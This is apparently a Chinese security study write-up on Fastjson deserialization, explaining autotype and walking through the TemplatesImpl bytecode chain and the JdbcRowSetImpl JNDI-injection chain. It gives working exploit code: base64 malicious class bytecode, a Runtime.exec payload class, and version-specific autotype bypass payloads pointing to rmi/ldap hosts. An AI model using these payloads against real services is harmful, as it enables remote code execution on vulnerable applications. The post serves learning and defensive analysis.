概念

Fastjson是一个Java库,可以将Java对象转化为Json格式,也可以把Json字符串转化为Java对象

Fastjson可以操作任何java对象,即使是一些预先存在的没有源码的对象

他的关键方法就三个

  • 将对象转换成JSON字符串JSON.toJSONString

  • 将JSON字符串转换成对象 JSON.parse(String) 或者JSON.parseObject(String),JSON.parseObject(String, clazz)

差异分析看这里

写个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package test;

public class Student {
private String name;
private int age;

public Student() {
System.out.println("Construct Function");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) throws Exception{
System.out.println("setAge");
this.age = age;
}
public void setAnz(int i){
System.out.println("setAnz");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
public static void main(String[] args) throws Exception {
Student student = new Student();
student.setAge(18);
student.setName("dqqq");
System.out.println("====================");
String jsonString1 = JSON.toJSONString(student);
System.out.println(jsonString1);
System.out.println("====================");
String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString2);
System.out.println("====================");
}
}

JSON.toJSONString;方法会将目标类中所有getter方法记录下来,然后通过反射去调用了所有的getter方法

这个SerializerFeature.WriteClassName,设置的话就会加上@type,用来指明类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Construct Function
setAge
setName
====================
getAge
getName
{"age":18,"name":"dqqq"}
====================
getAge
getName
{"@type":"test.Student","age":18,"name":"dqqq"}
====================

进程已结束,退出代码0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
public static void main(String[] args) throws Exception {
String jsonString1 = "{\"age\":18,\"name\":\"dqqq\"}";
String jsonString2 = "{\"@type\":\"test.Student\",\"age\":18,\"name\":\"dqqq\"}";

System.out.println("==========wwwwwwww==========");
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
==========wwwwwwww==========
{"name":"dqqq","age":18}
======================
Construct Function
setAge
setName
test.Student@19e1023e
======================
{"name":"dqqq","age":18}
======================
Construct Function
setAge
setName
getAge
getName
{"name":"dqqq","age":18}
======================

进程已结束,退出代码0

如果不带上@type指明类名,是没法得到类对象的

如果指明了类名,使用parse的时候,不仅会得到对象,还会调用这个对象的setter,使用的是parseObject的话,会得到对象且调用setter,还会调用getter

发现parseObject最后得到的还是JSON对象,parseObject其实就是调用一次parse,然后转换成JSONObject

1
2
3
4
5
6
7
public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject) obj;
}
return (JSONObject) JSON.toJSON(obj);
}

这种利用@type的机制也叫autotype

autotype 是 Fastjson 中的一个重要机制,粗略来说就是用于设置能否将 JSON 反序列化成对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
public static void main(String[] args) throws Exception {

String jsonString3 = "{\"@type\":\"test.Student\",\"age\":18,\"name\":\"dqqq\",\"anz\":\"2\"}";


System.out.println("======================");
System.out.println(JSON.parse(jsonString3));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString3));
System.out.println("======================");

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
======================
Construct Function
setAge
setName
setAnz
test.Student@136432db
======================
Construct Function
setAge
setName
setAnz
getAge
getName
{"name":"dqqq","age":18}
======================

进程已结束,退出代码0

我们没有设置anz属性但是JSON中有test键,那么parse的时候就会去找setAnz方法

类似于CB链的getOutputProperties

还有一个类似的特性,在某些特定条件下,序列化数据中如果存在T1键,而Student类只有getT1,没有setT1方法,那么在parse或者parseObject反序列化过程中也会调用到getT1方法

原因是在JavaBeanInfo.build()方法中,程序将会创建一个fieldList数组来存放后续将要处理的目标类的 setter方法及某些特定条件的getter方法

1
2
3
4
5
6
7
8
9
10
11
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType()))  {
//...
}
// 如果存在setter方法,该成员变量名会被加入fieldList,fieldInfo就不为null,那么getter方法就不会加入fieldList
fieldInfo = getField(fieldList, propertyName);
if (fieldInfo == null) {
if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}
add(fieldList, new FieldInfo(propertyName, method, (Field)null, clazz, type, 0, 0, 0, annotation, (JSONField)null, (String)null));
}

总结一下就是满足以下几个条件的方法:
- 对应成员变量继承自Collection/AtomicBoolean/AtomicInteger/AtomicLong
- 对应成员变量没有setter方法
- get开头且第四个字母大写
- 为非静态方法,无参数传入
- 对应的成员变量为私有变量(如果是公有变量则会直接赋值)

TemplatesImpl

根据之前分析的CB链,只要调用到了TemplatesImpl.getOutputProperties()方法,就可以实现任意代码执行

TemplatesImpl类中发现_outputProperties成员变量完美地满足了我们的条件

1
2
3
4
5
6
7
8
9
10
11
12
// 对应的成员变量
private Properties _outputProperties;

// getter方法
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

fastjson反序列化时,在JavaBeanDeserializer.parseField()方法中使用了smartMatch()这个方法来寻找对应的成员变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer;
FieldDeserializer fieldDeserializer = smartMatch(key);
//...
return true;
}

public FieldDeserializer smartMatch(String key) {
// ...
if (fieldDeserializer == null) {
snakeOrkebab = false;
String key2 = null;

for(i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if (ch == '_') {
snakeOrkebab = true;
key2 = key.replaceAll("_", "");
break;
}
if (ch == '-') {
snakeOrkebab = true;
key2 = key.replaceAll("-", "");
break;
}
}
// ...
}

可以看到其会将成员变量中的-,_忽略掉,从而使得_outputProperties能够和getOutputProperties()方法对应

过程分析

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)

在解析到了_OutputProperties的时候设置值

image-20230401160446612

得到了getOutputProperties方法

image-20230401160531327

进入后面的if

image-20230401160642948

invoke成功调用方法

image-20230401160731613

由于private属性没有setter,这就导致了,要还原private属性的话,需要加上个Feature.SupportNonPublicField才可以

1
JSON.parse(jsonString, Feature.SupportNonPublicField);

payload

1
2
3
4
String jsonString2 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAMcGF5bG9hZC5qYXZhDAAIAAkHACEMACIAIwEABGNhbGMMACQAJQEADHRlc3QvcGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAALAAQADAANAA0ADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAARAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAWAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAAZAAgAGwAMAAAABAABABQAAQAVAAAAAgAW\"],\"_name\":\"feng\",\"_tfactory\":{},\"_outputProperties\":{}}";


JSON.parse(jsonString, Feature.SupportNonPublicField);

_bytecodes中将字节码使用base64编码,这是因为fastjson会对byte类型的字段进行base64解码的缘故,这也方便了我们构造payload

_bytecode中的字节码是一个构造好的class类,其static块中存在恶意代码,反编译后大致如下

1
2
3
4
5
6
7
8
9
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class EvilCat653882732714100 extends AbstractTranslet {
static {
Runtime.getRuntime().exec("notepad.exe");
}
public EvilCat653882732714100() {
}
}

这个类只能在开启SupportNonPublicField特性的fastjson反序列化中使用,因为_bytecodes,_tfactory等属性都没有对应的setter

_tfactory设置为{},这样fastjson会生成一个空对象,可以解决某些jdk版本中defineTransletClasses()用到会引用_tfactory属性导致异常退出的问题

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.4</version>
</dependency>
<dependency>
<groupId>org.apache.directory.studio</groupId>
<artifactId>org.apache.commons.codec</artifactId>
<version>1.8</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

generate.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package test;

import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;


import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class generate {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}

public static void main(String args[]){
try {
ParserConfig config = new ParserConfig();
final String evilClassPath = "D:\\javaanz\\test3\\fastjson\\src\\main\\java\\test\\payload.class";
String evilCode = readClass(evilClassPath);
System.out.println(evilCode);
} catch (Exception e) {
e.printStackTrace();
}
}
}

payload.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package test;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class payload extends AbstractTranslet {
public payload() throws IOException {
Runtime.getRuntime().exec("calc");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
payload t = new payload();

}
}

test.java

1
2
3
4
5
6
7
8
9
10
11
12
package test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) throws Exception {
String jsonString2 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAMcGF5bG9hZC5qYXZhDAAIAAkHACEMACIAIwEABGNhbGMMACQAJQEADHRlc3QvcGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAALAAQADAANAA0ADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAARAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAWAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAAZAAgAGwAMAAAABAABABQAAQAVAAAAAgAW\"],\"_name\":\"feng\",\"_tfactory\":{},\"_outputProperties\":{}}";

JSON.parse(jsonString2, Feature.SupportNonPublicField);
}
}

JdbcRowSetImpl

这个就比较简单了

关键点在于JdbcRowSetImpl类的setAutoCommit方法和setDataSourceName方法

1
2
3
4
5
6
7
8
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}

如果this.conn为null的话,会进入this.connect()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

可以很清楚地看到下面两行是个JNDI注入点

1
2
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

那么需要让this.getDataSourceName()可控

1
2
3
public String getDataSourceName() {
return dataSource;
}

也就是要控制dataSource属性,跟进setDataSourceName

image-20230401154005834

super.setDataSourceName(var1);

1
2
3
4
5
6
7
8
9
10
11
12
public void setDataSourceName(String name) throws SQLException {

if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}

URL = null;
}

直接传进去

image-20230401154212375

1
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/refObj\", \"autoCommit\":true}
1
2
String jsonString1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/refObj\", \"autoCommit\":true}";
JSON.parse(jsonString1);

image-20230401153504922

Bypass

Fastjson 1.2.25-1.2.41

需开启autoType

1
2
3
4
5
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://127.0.0.1:9999/refObj",
"autoCommit": true
}

Fastjson 1.2.25-1.2.43

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:9999/refObj","autoCommit":true}]}

Fastjson 反序列化漏洞分析 1.2.25-1.2.47 - Zh1z3ven - 博客园 (cnblogs.com)

1.2.25-1.2.42

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:9999/refObj", "autoCommit":true}

1.2.25-1.2.45

开启autoTyoe,需要目标服务端存在mybatis的jar包,且版本需为3.x.x-3.5.0的版本

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:9999/refObj"}

特殊版本段payload

1.2.25-1.2.32版本:不能开启AutoType

1.2.33-1.2.47版本:无论是否开启AutoType,都能成功利用

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:9999/refObj",
"autoCommit":true
}
}